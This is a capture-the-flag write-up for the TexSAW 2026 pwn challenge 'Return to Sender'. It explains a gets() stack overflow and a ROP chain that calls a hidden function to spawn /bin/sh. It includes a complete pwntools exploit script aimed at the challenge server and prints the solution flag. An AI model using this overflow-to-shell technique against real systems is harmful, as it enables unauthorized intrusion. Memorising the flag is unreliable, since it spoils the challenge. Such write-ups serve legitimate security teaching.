TexSAW CTF 2026 Return to Sender

Do you ever wonder what happens to your packages? So does your mail carrier.

nc 143.198.163.4 15858

Flag format: texsaw{example_flag}

Solution

1. Initial Analysis

We start by analyzing the binary’s protections:

$ checksec chall

• No Stack Canary: This means we can easily overwrite the return address on the stack.
• NX Disabled: The stack is executable, but we don’t necessarily need shellcode for this exploit.
• PIE Disabled: Function addresses are static and will not change between runs.

2. Identifying Vulnerabilities

Using objdump and nm, we identify several interesting functions:

• main: The entry point.
• deliver: Called by main; uses the unsafe gets() function to read input into a 32-byte buffer.
• drive: A hidden function that checks an argument and, if correct, calls system("/bin/sh").
• tool: Contains a useful ROP gadget: pop rdi; ret.

The vulnerable deliver function looks like this:

int deliver() {
  char s1[32]; // [rsp+0h] [rbp-20h] BYREF
  // ...
  gets(s1); // VULNERABILITY: No length check!
  // ...
}

Since gets() does not check the input length, we can provide a payload larger than 32 bytes to overwrite the saved instruction pointer on the stack.

3. Exploitation Strategy

The drive() function is our target:

int __fastcall drive(__int64 a1) {
  if (a1 != 0x48435344) // "HCSD"
    return puts("Need the secret key to deliver this package.\n");
  return system("/bin/sh");
}

To get a shell, we need to call drive(0x48435344). In the x86-64 calling convention, the first argument is passed in the RDI register.

Our ROP Chain Plan:

1. Overwrite the return address with the address of a pop rdi; ret gadget.
2. Provide the value 0x48435344 as the next item on the stack (to be popped into RDI).
3. Include a ret gadget for stack alignment (often necessary for system() calls in 64-bit glibc).
4. Finally, call the drive function.

4. Exploit Script

from pwn import *

context.binary = binary = ELF('./chall')

# Found addresses
pop_rdi_ret = 0x4011be
ret_gadget = 0x4011bf
drive_addr = 0x401211
secret_arg = 0x48435344

# Padding: 32 bytes (buffer) + 8 bytes (saved RBP) = 40 bytes
payload = b"A" * 40
payload += p64(ret_gadget)  # Stack alignment
payload += p64(pop_rdi_ret) # Gadget to set RDI
payload += p64(secret_arg)  # The argument "HCSD"
payload += p64(drive_addr)  # Call drive()

# Connect and exploit
p = remote('143.198.163.4', 15858)
p.recvuntil(b"2 Canary Court\n\n")
p.sendline(payload)
p.interactive()

Flag

texsaw{sm@sh_st4ck_2_r3turn_to_4nywh3re_y0u_w4nt}